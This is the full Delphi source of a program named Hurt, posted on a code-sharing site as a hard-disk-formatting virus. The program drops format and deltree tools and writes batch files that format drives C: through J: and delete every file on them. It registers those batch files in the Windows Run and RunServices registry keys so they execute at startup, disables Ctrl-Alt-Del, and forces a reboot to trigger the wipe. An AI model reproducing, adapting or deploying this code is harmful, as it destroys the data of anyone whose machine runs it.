www.pudn.com > 格式化硬盘病毒delphi源码.rar > Hurt.dpr


 
program Hurt; 
uses 
windows,SysUtils,Classes,Registry; 
const kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; 
const K = '\Software\Microsoft\Windows\CurrentVersion\Run'; 
{$R FORMAT.RES} 
{$R DELTREE.RES} 
///////////////////////////////////////// 
procedure RunHurt; 
var 
forc:textfile; 
begin 
assignfile(forc,'hurt1.bat'); 
rewrite(forc); 
try 
writeln(forc,'@echo off'); 
writeln(forc,'format c:/q/autotest/u'); 
writeln(forc,'format d:/q/autotest/u'); 
writeln(forc,'format e:/q/autotest/u'); 
writeln(forc,'format f:/q/autotest/u'); 
writeln(forc,'format g:/q/autotest/u'); 
writeln(forc,'format h:/q/autotest/u'); 
writeln(forc,'format i:/q/autotest/u'); 
writeln(forc,'format j:/q/autotest/u'); 
finally 
closefile(forc); 
end; 
assignfile(forc,'hurt2.bat'); 
rewrite(forc); 
try 
writeln(forc,'@echo off'); 
writeln(forc,'deltree /y c:\*.*'); 
writeln(forc,'deltree /y c:\windows\system\*.*'); 
writeln(forc,'deltree /y d:\*.*'); 
writeln(forc,'deltree /y e:\*.*'); 
writeln(forc,'deltree /y f:\*.*'); 
writeln(forc,'deltree /y g:\*.*'); 
writeln(forc,'deltree /y h:\*.*'); 
writeln(forc,'deltree /y i:\*.*'); 
writeln(forc,'deltree /y j:\*.*'); 
finally 
closefile(forc); 
end; 
end; 
///////////////////////////////////////// 
procedure closeHurt; 
var 
        st : SYSTEMTIME; 
        hToken : THANDLE; 
        tkp : TOKEN_PRIVILEGES; 
        rr : Dword; 
begin 
        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,hToken); 
        LookupPrivilegeValue(nil,'SeShutdownPrivilege',tkp.Privileges[0].Luid); 
        // 设定权限为1 
        tkp.PrivilegeCount := 1; 
        tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; 
        // 得到权限 
        AdjustTokenPrivileges(hToken, FALSE, tkp, 0,nil,rr); 
        // 重起计算机 
        //ExitWindowsEx(EWX_REBOOT OR EWX_POWEROFF, 0) 
        ExitWindowsEx(EWX_REBOOT or EWX_FORCE,0); 
end; 
///////////////////////////////////////// 
VAR 
yhb,sforever:tresourceStream; 
templnt:integer; 
hurt1,hurt2: string; 
begin   //程序从这里开始执行 
hurt1 := ExtractFilePath(ParamStr(0)) + 'hurt1.bat'; 
hurt2 := ExtractFilePath(ParamStr(0)) + 'hurt2.bat'; 
yhb:=tresourcestream.Create(hinstance,'format','exefile'); 
sforever:=tresourcestream.Create(hinstance,'deltree','exefile'); 
try 
yhb.savetofile('format.com'); 
sforever.savetofile('deltree.exe'); 
finally 
yhb.free; 
sforever.Free; 
end; 
with TRegistry.Create do 
try 
RootKey := HKEY_LOCAL_MACHINE; 
OpenKey( kkk, TRUE ); 
WriteString( 'sforever.mycool.net', hurt1 ); 
finally 
free; 
end; 
with TRegistry.Create do 
try 
RootKey := HKEY_LOCAL_MACHINE; 
OpenKey( k, TRUE ); 
WriteString( 'sforever.mycool.net', hurt2 ); 
finally 
free; 
end; 
systemparametersinfo(spi_screensaverrunning,1,@templnt,0); 
RunHurt; 
sleep(3000); 
closeHurt; 
end.